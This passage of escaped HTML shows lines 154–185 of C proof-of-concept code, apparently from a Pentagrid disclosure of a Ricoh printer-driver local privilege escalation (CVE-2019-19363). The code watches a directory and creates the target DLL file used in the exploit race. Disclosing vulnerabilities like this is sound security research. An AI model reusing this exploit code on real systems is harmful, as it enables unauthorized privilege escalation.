&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-154"&gt;&lt;code data-line-number="154"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-154" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-154"&gt;&lt;/a&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="n"&gt;FILE_SHARE_READ&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;FILE_SHARE_WRITE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;FILE_SHARE_DELETE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-155"&gt;&lt;code data-line-number="155"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-155" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-155"&gt;&lt;/a&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-156"&gt;&lt;code data-line-number="156"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-156" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-156"&gt;&lt;/a&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="n"&gt;OPEN_EXISTING&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-157"&gt;&lt;code data-line-number="157"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-157" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-157"&gt;&lt;/a&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="n"&gt;FILE_FLAG_BACKUP_SEMANTICS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;FILE_FLAG_OVERLAPPED&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-158"&gt;&lt;code data-line-number="158"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-158" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-158"&gt;&lt;/a&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-159"&gt;&lt;code data-line-number="159"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-159" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-159"&gt;&lt;/a&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-160"&gt;&lt;code data-line-number="160"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-160" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-160"&gt;&lt;/a&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;DirInfo&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;hDir&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;INVALID_HANDLE_VALUE&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-161"&gt;&lt;code data-line-number="161"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-161" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-161"&gt;&lt;/a&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="n"&gt;wprintf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;L&lt;/span&gt;&lt;span class="s"&gt;"Unable to open directory %s. GLE=%ld. Terminating...&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-162"&gt;&lt;code data-line-number="162"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-162" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-162"&gt;&lt;/a&gt;&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="n"&gt;BaseDirName&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;GetLastError&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-163"&gt;&lt;code data-line-number="163"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-163" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-163"&gt;&lt;/a&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-164"&gt;&lt;code data-line-number="164"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-164" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-164"&gt;&lt;/a&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-165"&gt;&lt;code data-line-number="165"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-165" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-165"&gt;&lt;/a&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-166"&gt;&lt;code data-line-number="166"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-166" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-166"&gt;&lt;/a&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;lstrcpy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;DirInfo&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;lpszDirName&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;BaseDirName&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-167"&gt;&lt;code data-line-number="167"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-167" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-167"&gt;&lt;/a&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-168"&gt;&lt;code data-line-number="168"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-168" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-168"&gt;&lt;/a&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;HANDLE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;hFile&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;CreateFile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;TargetDllFullFilePath&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-169"&gt;&lt;code data-line-number="169"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-169" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-169"&gt;&lt;/a&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="n"&gt;GENERIC_WRITE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-170"&gt;&lt;code data-line-number="170"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-170" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-170"&gt;&lt;/a&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="n"&gt;FILE_SHARE_READ&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;FILE_SHARE_WRITE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;FILE_SHARE_DELETE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-171"&gt;&lt;code data-line-number="171"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-171" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-171"&gt;&lt;/a&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-172"&gt;&lt;code data-line-number="172"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-172" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-172"&gt;&lt;/a&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="n"&gt;CREATE_ALWAYS&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-173"&gt;&lt;code data-line-number="173"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-173" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-173"&gt;&lt;/a&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="n"&gt;FILE_ATTRIBUTE_NORMAL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-174"&gt;&lt;code data-line-number="174"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-174" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-174"&gt;&lt;/a&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-175"&gt;&lt;code data-line-number="175"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-175" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-175"&gt;&lt;/a&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="n"&gt;wprintf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;L&lt;/span&gt;&lt;span class="s"&gt;"+ File %s created&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;TargetDllFullFilePath&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-176"&gt;&lt;code data-line-number="176"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-176" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-176"&gt;&lt;/a&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="n"&gt;CloseHandle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hFile&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-177"&gt;&lt;code data-line-number="177"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-177" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-177"&gt;&lt;/a&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-178"&gt;&lt;code data-line-number="178"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-178" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-178"&gt;&lt;/a&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-179"&gt;&lt;code data-line-number="179"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-179" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-179"&gt;&lt;/a&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="n"&gt;wprintf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;L&lt;/span&gt;&lt;span class="s"&gt;"+ File %s could not be created&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;TargetDllFullFilePath&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-180"&gt;&lt;code data-line-number="180"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-180" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-180"&gt;&lt;/a&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-181"&gt;&lt;code data-line-number="181"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-181" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-181"&gt;&lt;/a&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-182"&gt;&lt;code data-line-number="182"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-182" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-182"&gt;&lt;/a&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;hCompPort&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;CreateIoCompletionPort&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;DirInfo&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;hDir&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;hCompPort&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ULONG_PTR&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;DirInfo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-183"&gt;&lt;code data-line-number="183"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-183" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-183"&gt;&lt;/a&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="n"&gt;wprintf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;L&lt;/span&gt;&lt;span class="s"&gt;"+ CreateIoCompletionPort() failed.&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-184"&gt;&lt;code data-line-number="184"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-184" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-184"&gt;&lt;/a&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-185"&gt;&lt;code data-line-number="185"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-185" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-185"&gt;&lt;/a&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
